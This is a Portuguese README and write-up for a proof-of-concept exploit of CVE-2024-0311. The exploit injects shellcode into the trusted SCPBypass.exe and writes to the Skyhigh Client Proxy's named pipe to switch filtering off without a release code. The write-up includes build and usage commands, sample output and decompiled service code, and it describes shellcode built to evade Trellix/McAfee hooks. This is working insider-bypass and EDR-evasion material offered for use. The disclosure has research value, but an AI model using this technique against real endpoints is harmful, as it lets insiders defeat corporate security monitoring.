
Prova de conceito de exploit para CVE-2024-0311 contornando a política do Skyhigh Client Proxy via injeção de processo e manipulação de pipe nomeado, com shellcode personalizado para evadir restrições de AV/EDR.
Este é um PoC para o que acredito ser CVE-2024-0311, SB10418.
Um insider malicioso pode contornar a política existente do Skyhigh Client Proxy sem um código de liberação válido.
Muitos detalhes. Muito exploit. ¯\(ツ)/¯
O PoC injeta em um processo executado pelo usuário SCPBypass.exe e escreve no pipe do SCPService.exe: \\.\pipe\MCPTrayPipe0.
A injeção é necessária pois, mesmo que o pipe seja RW Everyone, algumas verificações são feitas no executável que escreve no pipe por WGUARDNT (o caminho do escritor é verificado), veja abaixo.
Um shellcode de exemplo é fornecido que permite a execução do WriteFile no pipe mesmo se Trellix/McAfee estiverem em execução e fazendo hook/block em LoadLibrary.
Compile em Debug ou Release pelo Visual Studio
Gere o shellcode via:
cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary
depois substitua o shellcode em shellcode.c.
Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: Don't call SetNamedPipeHandleState. The shellcode validate the pointer to SetNamedPipeHandleState before calling it..
* debugon: set a breakpoint into the shellcode (0xcc at offset 0) and spawn a thread to bind the named pipe. Don't use in production.
Exemplo de saída:
PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>
Se tudo ocorrer bem, nos arquivos de log do SCP você deve encontrar uma entrada semelhante a esta:
10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run - SCP will be going into bypass mode for 1440 minutes
Esta será uma breve explicação, porque ninguém tem tempo para palavras.
Primeiramente, o que é o Skyhigh Proxy Client?
O software Skyhigh Security Client Proxy ajuda a proteger os usuários de endpoint contra ameaças de segurança que surgem quando eles acessam a web de dentro ou fora da sua rede. O software cliente, que é instalado em endpoints executando Microsoft Windows ou macOS, redireciona requisições web ou permite que elas continuem para um proxy para filtragem. O software servidor roda em uma das plataformas de gerenciamento: Trellix ePO SaaS ou Trellix ePO Cloud.
Isso deve esclarecer.
Dadas as informações do aviso, não há muito por onde ir.
Para ser honesto, eu estava analisando o serviço binário para encontrar problemas fáceis de explorar para LPE quando vi o CreateNamedPipe e fiquei interessado.
Aqui está uma cópia rápida do código descompilado do Ghidra:
void CreateNamedPipe_FUN_14022d150(undefined8 param_1)
{
BOOL BVar1;
int atoi_out_lpBuffer;
HANDLE hNamedPipe;
undefined8 uVar2;
undefined auStackY_4c8 [32];
uint nBytesRead;
undefined4 local_474;
undefined4 local_470;
ulonglong nBytesRead_0;
_SECURITY_ATTRIBUTES local_460;
undefined pSecurityDescriptor [48];
char out_lpBuffer [1024];
ulonglong local_18;
local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
InitializeSecurityDescriptor(pSecurityDescriptor,1);
/* BOOL SetSecurityDescriptorDacl(
[in, out] PSECURITY_DESCRIPTOR pSecurityDescriptor,
[in] BOOL bDaclPresent,
[in, optional] PACL pDacl,
[in] BOOL bDaclDefaulted
); */
SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
local_460.bInheritHandle = 0;
local_460.lpSecurityDescriptor = pSecurityDescriptor;
local_460.nLength = 0x18;
/* HANDLE CreateNamedPipeW(
[in] LPCWSTR lpName,
[in] DWORD dwOpenMode,
[in] DWORD dwPipeMode,
[in] DWORD nMaxInstances,
[in] DWORD nOutBufferSize,
[in] DWORD nInBufferSize,
[in] DWORD nDefaultTimeOut,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
*/
hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
if (BVar1 != 0) {
while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
BVar1 != 0) {
nBytesRead_0 = (ulonglong)nBytesRead;
if (1023 < nBytesRead_0) {
fail_or_fastfail_FUN_1404794f0();
}
out_lpBuffer[nBytesRead_0] = '\0';
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
local_474 = 0;
}
else {
TraceMessage_FUN_140027e70
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
local_474 = 1;
}
FUN_14022d510(param_1,1);
atoi_out_lpBuffer = atoi(out_lpBuffer);
uVar2 = FUN_140040210();
LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
local_470 = 0;
}
else {
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
);
local_470 = 1;
}
FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
atoi_out_lpBuffer);
FUN_14022d5b0(param_1,atoi_out_lpBuffer);
}
}
DisconnectNamedPipe(hNamedPipe);
}
FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
return;
}
Como podemos ver, uma vez que a função é chamada, uma nova struct DACL é inicializada e um novo pipe \\.\pipe\MCPTrayPipe0 é criado em byte mode.
Então, enquanto o handle para tal pipe for válido, o programa lê dele e tenta converter os bytes enviados de ASCII para int com atoi(out_lpBuffer).
Ignorando o fato de que existem alternativas melhores ao atoi, assumindo que a chamada para atoi não falhou, o valor convertido é passado para FUN_14022d5b0:
undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)
{
BOOL BVar1;
DWORD DVar2;
undefined8 uVar3;
LARGE_INTEGER local_10 [2];
local_10[0].QuadPart = (ulonglong)(uint)atoi_out_lpBuffer * -600000000;
BVar1 = SetWaitableTimer(*(HANDLE *)(param1 + 0xd8),local_10,0,(PTIMERAPCROUTINE)0x0,(LPVOID)0x0,0
);
if (BVar1 == 0) {
DVar2 = GetLastError();
uVar3 = FUN_140040210();
LOGFUN_1400402a0(uVar3,L"CBypassPipeServer::setBypassTimer",1,L"ERROR",L"Failed setting time %d"
,DVar2);
if ((((undefined **)PTR_LOOP_14069a4e0 != &PTR_LOOP_14069a4e0) &&
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) != 0)) && (1 < (byte)PTR_LOOP_14069a4e0[0x19]))
{
DVar2 = GetLastError();
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0x12,&DAT_1405da058,DVar2);
}
uVar3 = 0xffffffff;
}
else {
uVar3 = 0;
}
return uVar3;
}
que chama SetWaitableTimer. As strings aqui ajudaram um pouco a identificar o fluxo desejado.
O ponto principal aqui é que não há verificações feitas pelo processo ScpService.exe sobre quem escreve o que no pipe, os dados são simplesmente confiados e passados adiante.
Além disso, verificando as permissões no pipe com accesschk, o pipe resulta RW Everyone.
Então o exploit basicamente deve fazer o seguinte:
CreateFile(): obter um handle para o pipeSetNamedPipeHandleState(): definir o modo byteWriteFile(): escrever dadosCloseHandle(): fechar o handleIsso pode ser feito literalmente em algumas linhas de PowerShell. Vitória fácil, certo? Não.
Se ao menos as coisas fossem tão simples! Embora tecnicamente tudo parecesse funcionar dessa forma, abrir o pipe sempre resultava em timeout do cliente do pipe. Cavando um pouco mais fundo, notamos que o serviço estava configurando alguma ACL em outro lugar.
O descritor de segurança padrão usado pelo ScpService é inicializado da seguinte forma:
SECURITY_DESCRIPTOR sd = {};
InitializeSecurityDescriptor(&sd, 1);
SetSecurityDescriptorDacl(&sd, 1, NULL, NULL);
Isso representa um DACL que não concede acesso a ninguém.
Se a lista de controle de acesso discricionário (DACL) que pertence ao descritor de segurança de um objeto for definida como NULL, um DACL nulo é criado. Um DACL nulo concede acesso total a qualquer usuário que o solicite; a verificação de segurança normal não é realizada em relação ao objeto. Um DACL nulo não deve ser confundido com um DACL vazio. Um DACL vazio é um DACL devidamente alocado e inicializado que não contém entradas de controle de acesso (ACE). Um DACL vazio não concede acesso ao objeto ao qual está atribuído.
Muito provavelmente, a ACE/DACL é delegada a \\.\WGUARDNT que parece ser uma camada de proteção (McAfee?) responsável por conceder acesso a uma lista limitada de objetos:
.data:000000014069A510 off_14069A510 dq offset aScpserviceExe_3
.data:000000014069A510 ; DATA XREF: sub_14009A310+539↑o
.data:000000014069A510 ; sub_14009A310+674↑o ...
.data:000000014069A510 ; "scpservice*.exe"
.data:000000014069A518 dq offset aFrameworkservi ; "FrameworkService.exe"
.data:000000014069A520 dq offset aRegsvcExe ; "regsvc.exe"
.data:000000014069A528 dq offset aNaprdmgr64Exe ; "naprdmgr64.exe"
.data:000000014069A530 dq offset aNaprdmgrExe ; "naprdmgr.exe"
.data:000000014069A538 dq offset aUpdateruiExe ; "updaterui.exe"
.data:000000014069A540 dq offset aMcafeefireExe ; "McAfeeFire.exe"
.data:000000014069A548 dq offset aScpbypassExe ; "SCPBypass.exe"
.data:000000014069A550 dq offset aScpaboutExe ; "SCPAbout.exe"
.data:000000014069A558 dq offset aMfehidinExe ; "mfehidin.exe"
.data:000000014069A560 dq offset aMsiexecExe ; "msiexec.exe"
.data:000000014069A568 dq offset aMcshieldExe ; "mcshield.exe"
.data:000000014069A570 dq offset aMmcExe ; "mmc.exe"
.data:000000014069A578 dq offset aSystem_4 ; "system"
.data:000000014069A580 dq offset aServicesExe ; "services.exe"
.data:000000014069A588 dq offset aWinlogonExe ; "winlogon.exe"
.data:000000014069A590 dq offset aSvchostExe ; "svchost.exe"
Bem, se o executável que se conecta é verificado contra uma lista de executáveis/caminhos conhecidos e como o SCPBypass.exe, executado com os privilégios do nosso usuário, parece estar em uma lista de aplicativos confiáveis, não poderíamos simplesmente injetar uma DLL no SCPBypass.exe?
Com certeza! Pena que Trellix/McAfee vai bloquear a chamada de LoadLibrary.
Daí o InjmeDLL não utilizado no projeto.
Optamos por uma solução rápida e suja no final, montada por @wolfcod: basta injetar um shellcode que faz o que precisa ser feito, já que o processo já tem tudo carregado de qualquer forma. Em vez de chamar a syscall diretamente ou tentar outras artimanhas, esta solução simples funcionou bem para o nosso caso.
Isso finalmente resultou na contornação das restrições impostas pela solução AV/EDR e em um exploit funcional.
👋 Saudações.